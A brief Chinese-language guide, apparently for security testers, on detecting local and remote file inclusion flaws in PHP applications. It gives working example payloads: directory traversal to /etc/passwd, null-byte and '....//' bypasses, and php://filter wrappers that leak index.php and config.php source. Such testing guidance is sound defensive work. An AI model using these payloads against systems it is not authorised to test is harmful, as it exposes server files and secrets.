文件包含漏洞分为本地文件包含(LFI)和远程文件包含(RFI)两类。LFI允许读取服务器本地文件,RFI可执行远程服务器上的恶意代码。PHP应用中include()、require()等函数未正确过滤用户输入时易产生此类漏洞。
检测URL中可能包含文件的参数,常见特征如下:
参数名包含file、path、page、include等关键词
参数值为文件路径格式(如.php、.inc、.html)
参数值呈现目录遍历特征(../或..\)
使用Burp Suite抓取所有请求,筛选出可能包含文件操作的参数。对每个可疑参数进行基础测试:
如:
https://www.zmtests.com/d.php?file=../../../../etc/passwd
https://www.zmtests.com/d.php?page=php://filter/convert.base64-encode/resource=index.php
使用空字节截断绕过扩展名限制(PHP<5.3.4):
如:
https://www.zmtests.com/d.php?file=../../etc/passwd%00
https://www.zmtests.com/d.php?file=....//....//etc/passwd
利用PHP包装器读取源码:
如:
php://filter/convert.base64-encode/resource=index.php
php://filter/read=string.rot13/resource=config.php